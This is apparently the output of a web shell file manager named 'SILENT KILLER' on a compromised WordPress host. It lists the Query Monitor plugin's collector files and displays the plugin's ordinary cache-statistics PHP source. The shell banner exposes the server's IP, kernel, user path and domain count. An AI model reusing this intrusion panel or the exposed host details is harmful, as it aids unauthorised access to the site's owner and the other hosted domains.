SILENT KILLERPanel

Current Path: > home > transcarter > > www > wp-content > plugins > query-monitor > > collectors


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www/wp-content/plugins/query-monitor//collectors

NameTypeSizeLast ModifiedActions
admin.php File 3426 bytes July 17 2025 21:05:45.
assets_scripts.php File 1215 bytes July 17 2025 21:05:45.
assets_styles.php File 862 bytes July 17 2025 21:05:45.
block_editor.php File 5528 bytes July 17 2025 21:05:45.
cache.php File 3576 bytes July 17 2025 21:05:45.
caps.php File 7352 bytes July 17 2025 21:05:45.
conditionals.php File 2803 bytes July 17 2025 21:05:45.
db_callers.php File 1140 bytes July 17 2025 21:05:45.
db_components.php File 1175 bytes July 17 2025 21:05:45.
db_dupes.php File 3498 bytes July 17 2025 21:05:45.
db_queries.php File 6415 bytes July 17 2025 21:05:45.
debug_bar.php File 2757 bytes July 17 2025 21:05:45.
doing_it_wrong.php File 12778 bytes July 17 2025 21:05:45.
environment.php File 9074 bytes July 17 2025 21:05:45.
hooks.php File 2019 bytes July 17 2025 21:05:45.
http.php File 11557 bytes July 17 2025 21:05:45.
languages.php File 7552 bytes July 17 2025 21:05:45.
logger.php File 7945 bytes July 17 2025 21:05:45.
multisite.php File 1631 bytes July 17 2025 21:05:45.
overview.php File 2845 bytes July 17 2025 21:05:45.
php_errors.php File 15565 bytes July 17 2025 21:05:45.
raw_request.php File 2424 bytes July 17 2025 21:05:45.
redirects.php File 1365 bytes July 17 2025 21:05:45.
request.php File 7325 bytes July 17 2025 21:05:45.
theme.php File 17934 bytes July 17 2025 21:05:45.
timing.php File 4448 bytes July 17 2025 21:05:45.
transients.php File 3010 bytes July 17 2025 21:05:45.

Reading File: /home/transcarter//www/wp-content/plugins/query-monitor//collectors/cache.php

<?php declare(strict_types = 1);
/**
 * Object cache collector.
 *
 * @package query-monitor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * @extends QM_DataCollector<QM_Data_Cache>
 */
class QM_Collector_Cache extends QM_DataCollector {

	public $id = 'cache';

	public function get_storage(): QM_Data {
		return new QM_Data_Cache();
	}

	/**
	 * @return void
	 */
	public function process() {
		global $wp_object_cache;

		$this->data->has_object_cache = (bool) wp_using_ext_object_cache();
		$this->data->cache_hit_percentage = 0;

		if ( is_object( $wp_object_cache ) ) {
			$object_vars = get_object_vars( $wp_object_cache );

			if ( array_key_exists( 'cache_hits', $object_vars ) ) {
				$this->data->stats['cache_hits'] = (int) $object_vars['cache_hits'];
			}

			if ( array_key_exists( 'cache_misses', $object_vars ) ) {
				$this->data->stats['cache_misses'] = (int) $object_vars['cache_misses'];
			}

			$stats = array();

			if ( method_exists( $wp_object_cache, 'getStats' ) ) {
				$stats = $wp_object_cache->getStats();
			} elseif ( array_key_exists( 'stats', $object_vars ) && is_array( $object_vars['stats'] ) ) {
				$stats = $object_vars['stats'];
			} elseif ( function_exists( 'wp_cache_get_stats' ) ) {
				$stats = wp_cache_get_stats();
			}

			if ( ! empty( $stats ) ) {
				if ( is_array( $stats ) && ! isset( $stats['get_hits'] ) && 1 === count( $stats ) ) {
					$first_server = reset( $stats );
					if ( isset( $first_server['get_hits'] ) ) {
						$stats = $first_server;
					}
				}

				foreach ( $stats as $key => $value ) {
					if ( ! is_scalar( $value ) ) {
						continue;
					}
					if ( ! is_string( $key ) ) {
						continue;
					}
					$this->data->stats[ $key ] = $value;
				}
			}

			if ( ! isset( $this->data->stats['cache_hits'] ) ) {
				if ( isset( $this->data->stats['get_hits'] ) ) {
					$this->data->stats['cache_hits'] = (int) $this->data->stats['get_hits'];
				}
			}

			if ( ! isset( $this->data->stats['cache_misses'] ) ) {
				if ( isset( $this->data->stats['get_misses'] ) ) {
					$this->data->stats['cache_misses'] = (int) $this->data->stats['get_misses'];
				}
			}
		}

		if ( ! empty( $this->data->stats['cache_hits'] ) ) {
			$total = $this->data->stats['cache_hits'];

			if ( ! empty( $this->data->stats['cache_misses'] ) ) {
				$total += $this->data->stats['cache_misses'];
			}

			$this->data->cache_hit_percentage = ( 100 / $total ) * $this->data->stats['cache_hits'];
		}

		$this->data->display_hit_rate_warning = ( 100 === $this->data->cache_hit_percentage );

		if ( function_exists( 'extension_loaded' ) ) {
			$this->data->object_cache_extensions = array_map( 'extension_loaded', array(
				'Afterburner' => 'afterburner',
				'Relay' => 'relay',
				'Redis' => 'redis',
				'Memcached' => 'memcached',
				'Memcache' => 'memcache',
				'APCu' => 'apcu',
			) );
			$this->data->opcode_cache_extensions = array_map( 'extension_loaded', array(
				'APC' => 'APC',
				'Zend OPcache' => 'Zend OPcache',
			) );
		} else {
			$this->data->object_cache_extensions = array();
			$this->data->opcode_cache_extensions = array();
		}

		$this->data->has_opcode_cache = array_filter( $this->data->opcode_cache_extensions ) ? true : false;
	}

}

/**
 * @param array<string, QM_Collector> $collectors
 * @param QueryMonitor $qm
 * @return array<string, QM_Collector>
 */
function register_qm_collector_cache( array $collectors, QueryMonitor $qm ) {
	$collectors['cache'] = new QM_Collector_Cache();
	return $collectors;
}

add_filter( 'qm/collectors', 'register_qm_collector_cache', 20, 2 );

SILENT KILLER Tool